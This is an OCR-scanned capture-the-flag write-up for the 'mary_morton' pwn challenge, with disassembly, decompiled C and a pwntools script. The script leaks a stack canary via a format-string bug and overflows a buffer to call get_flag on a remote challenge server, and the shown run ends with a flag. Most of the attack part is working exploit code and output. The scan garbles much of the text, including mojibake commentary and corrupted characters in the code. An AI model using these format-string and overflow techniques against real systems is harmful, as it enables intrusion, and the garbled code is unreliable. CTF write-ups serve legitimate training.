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root@mypwn: /ctf/work/python/mary_morton# checksec 426845da698e4ea2b922a0fef483bfda
[*] '/ctf/work/python/mary morton/4a6845da698e4ea2b922a0fef483bfda’

Arch: amd64-64-1ittle
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled

PIE: No PIE (©x400000)
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[7] Functions window [ & ©

Function name

|z| _init_proc .text:0000000000400826 ; _ unwind {
.£ext:0000000000400826 push  rbp
|z| sub_400670 .text:0000000000400827 mov rbp, rsp
.£ext:000000000040082A sub rsp, 30h
|z| puts .text:000000000040082E mov [rbptvar_14], edi
= .text:0000000000400831 mov [rbp+var_20], rsi
|z| ___stack_chk_fail .text:0000000000400835 mov [rbp+var 28], rdx
.text:0000000000400839 mov rax, f£s:28h
E system .text:0000000000400842 mov [rbptvar 8], rax
= .text:0000000000400846 xor eax, eax
E printf .text:0000000000400848 mov eax, 0
- .text:000000000040084D call  sub_4009FF
E alarm .text:0000000000400852 mov edi, offset s "Welcome to the battle ! "
- .text:0000000000400857 call  _puts
E read .text:000000000040085C mov edi, offset aGreatFairyLeve ; "[Great Fairy] level pwned "
- . .text:0000000000400861 call  _puts
E libc start main .text:0000000000400866 mov edi, offset aSelectYourWeap ; "Select your weapon "
- - - .text:000000000040086B call _puts
E setvbuf .text:0000000000400870
- .text:0000000000400870 loc_400870: ; CODE XREF: main:loc 4008D8+7j
|z| ___is0c99_scanf .text:0000000000400870 mov eax, 0
.text:0000000000400875 call  sub 4009DA
|z| exit .text:000000000040087A lea rax, [rbptvar C]
- .text:000000000040087E mov rsi, rax
E_gmon_start_ .text:0000000000400881 mov edi, offset ap ; "%d"
.text:0000000000400886 mov eax, 0
|z| start .text:000000000040088B call  __ isoc99_scanf
.text:0000000000400890 mov eax, [rbptvar C]
|z| sub_400760 .text:0000000000400893 cmp eax, 2
.text:0000000000400896 jz short loc_4008AE
|z| sub_4007E0 .text:0000000000400898 cmp eax,
.text:0000000000400898 jz short loc_4008BA
|z| sub_400800 .text:000000000040089D cmp eax, 1
.text:00000000004008A0 jnz short loc_4008CE
IE main .text:00000000004008A2 mov eax, 0
.text:00000000004008A7 call  sub_ 400960
|E| sub_4008DA .text:00000000004008AC jmp short loc_4008D8
L £EXE100000000004008AE ;e
|E| sub 4008EB .text:00000000004008AE
- .text:00000000004008AE loc_4008AE: ; CODE XREF: main+7013
|E| sub_400960 .text:00000000004008AE mov eax, 0
.£ext:00000000004008B3 call  sub_4008EB
|E| sub_4009DA .text:00000000004008B8 jmp short loc_4008D8
\EERE100000000004008BA §  ——
|z| sub_4009FF .text:00000000004008BA
.text:00000000004008BA loc_4008BA: ; CODE XREF: main+7513
|z| init .text:00000000004008BA mov edi, offset aBye ; 'Bye "
.£ext:00000000004008BF call  _puts
|z| fini .text:00000000004008C4 mov edi, 0 ; status
.£ext:00000000004008C9 call exit

[F] _term_proc

.text:0000000000400826
.text:0000000000400826
.text:0000000000400826

.text:00000000004008CE ;

.text:00000000004008CE

IDA View-A
var C
var_8

Hex View-1 o Al

Structures

dword ptr -0Ch
qword ptr -8

E puts .text:00000000004008CE loc_4008CE: ; CODE XREF: main+7Alj
.text:00000000004008CE mov edi, offset aWrong ; "Wrong!"

E __stack_chk_fail .text:00000000004008D3 call  _puts
.text:00000000004008D8

[7] system .text:00000000004008D8 loc_4008D8: ; CODE XREF: main+861]

N .text:00000000004008D8 ; main+921j

E printf .text:00000000004008D8 jmp short loc_400870
.text:00000000004008D8 ; } // starts at 400826

E alarm .text:00000000004008D8 main endp
.text:00000000004008D8

E read .text:00000000004008DA
.text:00000000004008DA ; —— SUBROUTINE

[] _libc_start_main

.text:00000000004008DA
.text:00000000004008DA
.text:00000000004008DA

; Attributes: bp-based frame

Line 18 of 36

00000826 0000000000400826: main (Synchronized with Hex View-1)

BRNMEHANAEREARS, REASELERE, RERMT -~ TREMNRBE AL, HRFMHRCESHH:

void _ fastcall _ noreturn main(__int64 al, char **a2, char **a3)
{

int nChoice; // [rsp+24h] [rbp-Ch]

unsigned _ int64 v4; // [rsp+28h] [rbp-8h]

v4 = _ readfsqword(0x28u);
init_env();
puts("Welcome to the battle ! ");
puts("[Great Fairy] level pwned ");
puts(“"Select your weapon ");
while ( 1)
{
while ( 1)
{
menu_string();
__is0c99_scanf("%d", &nChoice);
if ( nChoice != 2 )
break;
Menu2();



1t ( nChoice == 3 )

{
puts("Bye ");
exit(0);

¥

if ( nChoice == 1)
Menul();

else
puts("Wrong!");

}
¥
unsigned __int64 Menul()
{
char buf; // [rsp+6h] [rbp-906h]
unsigned _ int64 v2; // [rsp+88h] [rbp-8h]
v2 = _ readfsqword(0x28u);
memset (&buf, 0, Ox80uLL);
read(9, &buf, 0x100uLL);
printf("-> %s\n", &buf);
return _ readfsqword(©x28u) ~ v2;
}

unsigned __ int64 Menu2()

{
char buf; // [rsp+@h] [rbp-906h]
unsigned _ int64 v2; // [rsp+88h] [rbp-8h]

v2 = _ readfsqword(0x28u);

memset (&buf, O, Ox80uLL);

read(9, &buf, Ox7FulLL);
printf(&buf, &buf);

return _ readfsqword(©x28u) ~ v2;

int get_flag()

{
return system("/bin/cat ./flag");

}
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payload = 'AAAA.1.%1$#x.2.%2%#xX.3.%3%#x. 4. %A$#X.5.%5%#X.6.%6$Hx .7 . %7$#x.8.%8%#x. '

WmE—RE, WU ERATpayload , BIAWT:

def fmt_str(payload, choice):
p.sendlineafter('3. Exit the battle \n', str(choice))
p.sendline(payload)
info = p.recv().splitlines()[0]
print "info:"+info
return info

PAITZ RS RN

root@mypwn:/ctf/work/python/mary_morton# python mary_morton.py

[+] Opening connection to 111.198.29.45 on port 45464: Done
info:AAAA.1.0x2b7ea2f0.2.0x7f.3.0x2c1b4260.4.0.5.0.6.0x41414141.7.0x78232431.8.0x78232432.
AAAA.1.0x2b7ea2f0@.2.0x7f.3.0x2c1b4260.4.0.5.0.6.0x41414141.7.0x78232431.8.0x78232432.

[*] Closed connection to 111.198.29.45 port 45464

HEEF6.0x41414141, P KRG
THEBNM A E— T XM 2 EE EKpayload

1. 3KWcanary

step = 6
num = step+(0x90-8)/8
payload = '%'+str(num)+'$p’

2. readii i Bleip

get_flag addr = 0x4008DA
payload = 'A'*(0x90-8) + p64(canary) + 'A'*8 + p64(get_flag _addr)

W4 L 1 £ payload4s 5 python I 4= i T :



#coding:utf8

from pwn import *
context.log level = 'debug'
process_name = '4a6845da698ed4ea2b922a0fef483bfda’

# p = process(process_name)
p = remote('111.198.29.45"', 45464)

def fmt_str(payload, choice):
p.sendlineafter('3. Exit the battle \n', str(choice))
p.sendline(payload)
info = p.recv().splitlines()[0]
print "info:"+info
return info

# payload = "AAAA.1.%1$#X.2.%2%4#x.3.%3#xX. 4. %AHX.5.%58#X.6.%6H#xX .7 .%7$x.8.%8%#x. "
# print fmt_str(payload, 2)

step = 6

num = step+(0x90-8)/8

payload = '%'+str(num)+'$p’

canary = int(fmt_str(payload, 2).split('x"', 1)[1], 16)
log.info("canary => %#x", canary)

get_flag addr = 0x4008DA
payload = 'A'*(0x90-8) + p64(canary) + 'A'*8 + p64(get_flag_addr)
fmt_str(payload, 1)

p.interactive()



root@mypwn:/ctf/work/python/mary_morton# python mary_morton.py
[+] Opening connection to 111.198.29.45 on port 45464: Done
[DEBUG] Received ©0x18 bytes:

'Welcome to the battle ! '
[DEBUG] Received 0x77 bytes:

"“\n"'

'[Great Fairy] level pwned \n'

'Select your weapon \n'

'1. Stack Bufferoverflow Bug \n'

'2. Format String Bug \n'

'3. Exit the battle \n'

[DEBUG] Sent ©x2 bytes:

‘2\n"'

[DEBUG] Sent ©@x6 bytes:

'%23%p\n"

[DEBUG] Received ©x13 bytes:

'0x32e0978333c6afo0\n’
info:0x32e0978333c6af00
[*] canary => 0x32e0978333c6af00
[DEBUG] Received 0x47 bytes:

'1. Stack Bufferoverflow Bug \n'

'2. Format String Bug \n'

‘3. Exit the battle \n'

[DEBUG] Sent ©@x2 bytes:

‘I\n"

[DEBUG] Sent ©xal bytes:

00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAA|AAAA|AAAA|AAAA |

*

00000080 41 41 41 41 41 41 41 41 00 af c6 33 83 97 €0 32 |AAAA|AAAA|---3]..-2|

90000090 41 41 41 41 41 41 41 41 da 08 40 00 ©0 00 00 00 |AAAA|AAAA|--@-|----|

90000020 ©@a ||

000000al
[DEBUG] Received ©x8c bytes:

'-> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
info:-> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[*] Switching to interactive mode
[DEBUG] Received @x2d bytes:

'cyberpeace{4ecf7db84b3599e2a5b396ce077e41e2}\n"
cyberpeace{4ecf7db84b3599e2a5b396ce077e41e2}

[*] Got EOF while reading in interactive

$

WAT T, BEEEZ T flag.
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